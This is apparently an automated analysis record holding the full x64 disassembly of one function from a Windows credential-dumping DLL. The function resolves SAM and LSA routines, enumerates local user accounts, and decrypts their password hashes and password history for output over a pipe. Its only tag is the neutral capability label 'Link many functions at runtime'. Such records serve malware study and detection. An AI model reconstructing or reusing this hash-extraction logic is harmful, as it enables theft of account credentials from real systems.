Function at 0x180001770
Capabilities:
Link many functions at runtime

Disassembly:
mov r11, rsp
push r12
push r14
sub rsp, 0x358
mov rax, qword [0x180013008]
xor rax, rsp
mov qword [rsp + 0x320], rax
xor r14d, r14d
mov qword [r11 + 0x20], rbx
mov qword [r11 - 0x18], rbp
mov qword [r11 - 0x20], rsi
mov qword [r11 - 0x28], rdi
mov qword [r11 - 0x30], r13
mov qword [r11 - 0x38], r15
mov r13, r14
mov esi, r9d
mov edi, r8d
mov rbp, rdx
mov rbx, rcx
mov qword [r11 - 0x2e0], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x50], r14
mov dword [r11 - 0x2e4], r14d
mov qword [rsp + 0x40], r14
lea r12d, [r14 + 1]
call fcn.180001240
test eax, eax
je 0x18000207e
lea rcx, str.Starting...
call fcn.180001350
lea rcx, str.Using_pipe__s
mov rdx, rbx
call fcn.180001350
lea rcx, str.Key_length_is__d
mov edx, edi
call fcn.180001350
mov rcx, rdi
call fcn.1800025a0
mov r8, rdi
mov rdx, rbp
mov rcx, rax
mov qword [0x180014520], rax
call fcn.180002680
mov r11d, dword [section..data]
mov rdx, qword [0x180014520]
test esi, esi
mov rsi, r14
lea rcx, [0x180015360]
cmovne r11d, esi
mov r8d, edi
mov dword [section..data], r11d
call fcn.1800010c0
lea rcx, str.samsrv.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.advapi32.dll
mov r13, rax
mov qword [rsp + 0x90], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SamIConnect
mov rcx, r13
mov r14, rax
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.SamrOpenDomain
mov rcx, r13
mov qword [0x1800144c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.SamrOpenUser
mov rcx, r13
mov qword [0x1800144c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.SamrQueryInformationUser
mov rcx, r13
mov qword [0x1800144d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.SamrEnumerateUsersInDomain
mov rcx, r13
mov qword [0x1800144d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.SamIFree_SAMPR_USER_INFO_BUFFER
mov rcx, r13
mov qword [0x1800144e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.SamIFree_SAMPR_ENUMERATION_BUFFER
mov rcx, r13
mov qword [0x1800144e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.SamrCloseHandle
mov rcx, r13
mov qword [0x1800144f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.SamIGetPrivateData
mov rcx, r13
mov qword [0x1800144f8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.SystemFunction025
mov rcx, r14
mov qword [0x180014500], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.SystemFunction027
mov rcx, r14
mov qword [0x180014508], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x1800144c0], rsi
mov qword [0x180014510], rax
je 0x180002072
cmp qword [0x1800144c8], rsi
je 0x180002072
cmp qword [0x1800144d0], rsi
je 0x180002072
cmp qword [0x1800144d8], rsi
je 0x180002072
cmp qword [0x1800144e0], rsi
je 0x180002072
cmp qword [0x1800144e8], rsi
je 0x180002072
cmp qword [0x1800144f0], rsi
je 0x180002072
cmp qword [0x1800144f8], rsi
je 0x180002072
cmp qword [0x180014500], rsi
je 0x180001a0c
cmp qword [0x180014508], rsi
je 0x180001a0c
test rax, rax
jne 0x180001a1e
lea rcx, str.No_pw_hist
call fcn.180001350
mov dword [section..data], esi
xor eax, eax
lea r9, [rsp + 0x88]
lea rdx, [rsp + 0xa8]
mov qword [rsp + 0xa8], rax
mov r8d, 0xf0fff
xor ecx, ecx
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0xa8], 0x30
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], rax
call sub.ADVAPI32.dll_LsaOpenPolicy
test eax, eax
jns 0x180001a8f
lea rcx, str.Error_1:_0x_08x
mov edx, eax
call fcn.180001350
jmp 0x18000207e
mov rcx, qword [rsp + 0x88]
lea r8, [rsp + 0xa0]
mov edx, 5
call sub.ADVAPI32.dll_LsaQueryInformationPolicy
test eax, eax
jns 0x180001ac0
lea rcx, str.Error_2:_0x_08x
mov edx, eax
call fcn.180001350
jmp 0x18000207e
lea rdx, [rsp + 0x70]
mov r9d, r12d
mov r8d, 0x2000000
xor ecx, ecx
call qword [0x1800144c0]
test eax, eax
jns 0x180001aed
lea rcx, str.Error_3:_0x_08x
mov edx, eax
call fcn.180001350
jmp 0x18000207e
mov r8, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x70]
lea r9, [rsp + 0x60]
mov r8, qword [r8 + 0x10]
mov edx, 0xf07ff
call qword [0x1800144c8]
test eax, eax
mov ebx, eax
jns 0x180001b2c
lea rcx, str.Error_4:_0x_08x
mov edx, eax
call fcn.180001350
mov qword [rsp + 0x60], rsi
jmp 0x18000207e
lea r12, [0x180000000]
nop
nop
nop
nop
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x6c]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x84]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3e8
call qword [0x1800144e0]
test eax, eax
mov dword [rsp + 0x7c], eax
je 0x180001b80
cmp eax, 0x105
jne 0x18000204c
cmp dword [rsp + 0x6c], 0
mov r15d, esi
mov dword [rsp + 0x68], esi
jle 0x180002019
mov r13, rsi
nop
nop
nop
lea rcx, [rsp + 0x120]
xor edx, edx
mov r8d, 0x100
mov qword [rsp + 0x58], rsi
call fcn.1800023a0
lea rcx, [rsp + 0x220]
xor edx, edx
mov r8d, 0x100
call fcn.1800023a0
mov rax, qword [rsp + 0x40]
xor r11d, r11d
mov qword [rsp + 0xe0], r11
mov qword [rsp + 0xe8], r11
mov qword [rsp + 0xf0], r11
mov qword [rsp + 0xf8], r11
mov qword [rsp + 0x100], r11
mov qword [rsp + 0x108], r11
mov qword [rsp + 0x110], r11
mov qword [rsp + 0x118], r11
mov rcx, qword [rax + 8]
mov r8d, dword [rcx + r13]
mov rcx, qword [rsp + 0x60]
lea r9, [rsp + 0x50]
mov edx, 0x2000000
call qword [0x1800144d0]
test eax, eax
mov ebx, eax
jns 0x180001c4d
lea rcx, str.Error_5:_0x_08x
mov edx, eax
call fcn.180001350
jmp 0x180002001
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x58]
mov edx, 0x12
call qword [0x1800144d8]
test eax, eax
mov ebx, eax
jns 0x180001c8b
lea rcx, str.Error_6:_0x_08x
mov edx, eax
call fcn.180001350
lea rcx, [rsp + 0x50]
call qword [0x1800144f8]
mov qword [rsp + 0x50], rsi
jmp 0x180002001
mov r8, qword [rsp + 0x40]
mov rax, qword [r8 + 8]
movzx ecx, word [r13 + rax + 8]
movzx eax, cx
and ax, 0xfffe
cmp ax, 0x200
jbe 0x180001cb4
mov r9d, 0x100
mov dword [rsp + 0x48], r9d
jmp 0x180001cc0
movzx r9d, cx
shr r9d, 1
mov dword [rsp + 0x48], r9d
mov r8, qword [r8 + 8]
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x220]
mov r8, qword [r13 + r8 + 0x10]
mov qword [rsp + 0x30], rsi
xor edx, edx
mov ecx, 0xfde9
mov dword [rsp + 0x28], 0x100
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jg 0x180001d17
mov rax, qword [r12 + 0xf3e8]
lea rcx, [rsp + 0x220]
mov qword [rcx], rax
mov eax, dword [r12 + 0xf3f0]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 0x40]
mov edx, 0x100
lea r9, str._s:_d
mov rcx, qword [rax + 8]
mov r8, rdx
mov eax, dword [rcx + r13]
lea rcx, [rsp + 0x120]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x220]
mov qword [rsp + 0x20], rax
call fcn.1800029c0
test eax, eax
jg 0x180001d8d
mov rax, qword [r12 + 0xf3c8]
lea rcx, [rsp + 0x120]
mov qword [rcx], rax
mov rax, qword [r12 + 0xf3d0]
mov qword [rcx + 8], rax
movzx eax, word [r12 + 0xf3d8]
mov word [rcx + 0x10], ax
movzx eax, byte [r12 + 0xf3da]
mov byte [rcx + 0x12], al
mov rcx, qword [rsp + 0x58]
lea rdx, [rsp + 0xe0]
mov rax, qword [rcx]
mov qword [rdx], rax
mov rax, qword [rcx + 8]
mov qword [rdx + 8], rax
mov rax, qword [rcx + 0x10]
mov qword [rdx + 0x10], rax
mov rax, qword [rcx + 0x18]
lea rcx, [rsp + 0xe0]
mov qword [rdx + 0x18], rax
lea rdx, [rsp + 0x120]
call fcn.1800014c0
mov rcx, qword [rsp + 0x58]
mov edx, 0x12
call qword [0x1800144e8]
cmp dword [section..data], 0
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x78], 2
mov dword [rsp + 0x80], esi
mov dword [rsp + 0x48], esi
je 0x180001ff1
mov rcx, qword [rsp + 0x50]
xor eax, eax
lea r9, [rsp + 0x48]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x58]
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x78]
mov qword [rsp + 0x20], rax
call qword [0x180014500]
test eax, eax
mov ebx, eax
jne 0x180001ff1
mov ecx, dword [rsp + 0x48]
cmp ecx, 0x3c
jbe 0x180001ff1
mov rdi, qword [rsp + 0x58]
movzx r14d, byte [rdi + 0x3c]
mov ebp, r14d
shr ebp, 4
cmp ebp, 1
jbe 0x180001fde
lea eax, [r14 + 0x64]
cmp ecx, eax
jbe 0x180001fde
cmp ebp, 1
mov esi, ebp
jle 0x180001fdc
movsxd rax, r15d
lea r15, [0x180000000]
lea r12, [rax + rax*2]
mov rax, qword [rsp + 0x40]
add rdi, 0x10
lea r8, [rsp + 0xe0]
mov rcx, qword [rax + 8]
lea rdx, [rcx + r12*8]
lea rcx, [rdi + 0x44]
call qword [0x180014508]
test eax, eax
mov ebx, eax
jne 0x180001fc7
mov rax, qword [rsp + 0x40]
lea r8, [rsp + 0xf0]
mov rcx, qword [rax + 8]
lea rdx, [rcx + r12*8]
lea rcx, [r14 + rdi + 0x44]
call qword [0x180014510]
test eax, eax
mov ebx, eax
jne 0x180001fc7
lea rcx, [rsp + 0x120]
xor edx, edx
mov r8d, 0x100
call fcn.1800023a0
mov r11, qword [rsp + 0x40]
mov ecx, ebp
mov rax, qword [r11 + 8]
sub ecx, esi
mov edx, 0x100
mov eax, dword [rax + r13]
lea r9, str._s_history__d:_d
mov r8, rdx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
lea rax, [rsp + 0x220]
lea rcx, [rsp + 0x120]
mov qword [rsp + 0x20], rax
call fcn.1800029c0
test eax, eax
jg 0x180001fa6
mov rax, qword [r15 + 0xf3c8]
lea rcx, [rsp + 0x120]
mov qword [rcx], rax
mov rax, qword [r15 + 0xf3d0]
mov qword [rcx + 8], rax
movzx eax, word [r15 + 0xf3d8]
mov word [rcx + 0x10], ax
movzx eax, byte [r15 + 0xf3da]
mov byte [rcx + 0x12], al
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0xe0]
call fcn.1800014c0
sub esi, 1
cmp esi, 1
jg 0x180001ec0
mov rdi, qword [rsp + 0x58]
mov r15d, dword [rsp + 0x68]
lea r12, [0x180000000]
xor esi, esi
jmp 0x180001fde
xor esi, esi
test rdi, rdi
je 0x180001fec
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [rsp + 0x58], rsi
lea rcx, [rsp + 0x50]
call qword [0x1800144f8]
mov qword [rsp + 0x50], rsi
add r15d, 1
add r13, 0x18
cmp r15d, dword [rsp + 0x6c]
mov dword [rsp + 0x68], r15d
jl 0x180001ba0
mov rcx, qword [rsp + 0x40]
call qword [0x1800144f0]
cmp dword [rsp + 0x7c], 0x105
mov qword [rsp + 0x40], rsi
je 0x180001b40
mov r13, qword [rsp + 0x90]
mov r14, qword [rsp + 0x98]
mov r12d, esi
jmp 0x18000207e
lea rcx, str.Error_7:_0x_08x
mov edx, ebx
call fcn.180001350
mov r13, qword [rsp + 0x90]
mov r14, qword [rsp + 0x98]
mov r12d, 1
jmp 0x18000207e
lea rcx, str.Target:_Failed_to_load_primary_SAM_functions.
call fcn.180001350
call fcn.180001700
mov rcx, qword [0x180014518]
mov r15, qword [rsp + 0x330]
test rcx, rcx
mov rdi, qword [rsp + 0x340]
mov rsi, qword [rsp + 0x348]
mov rbp, qword [rsp + 0x350]
mov rbx, qword [rsp + 0x388]
je 0x1800020c3
cmp rcx, 0xffffffffffffffff
je 0x1800020c3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0x50], 0
je 0x1800020d6
lea rcx, [rsp + 0x50]
call qword [0x1800144f8]
cmp qword [rsp + 0x60], 0
je 0x1800020e9
lea rcx, [rsp + 0x60]
call qword [0x1800144f8]
cmp qword [rsp + 0x70], 0
je 0x1800020fc
lea rcx, [rsp + 0x70]
call qword [0x1800144f8]
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x18000210e
call sub.ADVAPI32.dll_LsaClose
test r13, r13
je 0x18000211c
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test r14, r14
mov r13, qword [rsp + 0x338]
je 0x180002132
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, r12d
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.180002370
add rsp, 0x358
pop r14
pop r12
ret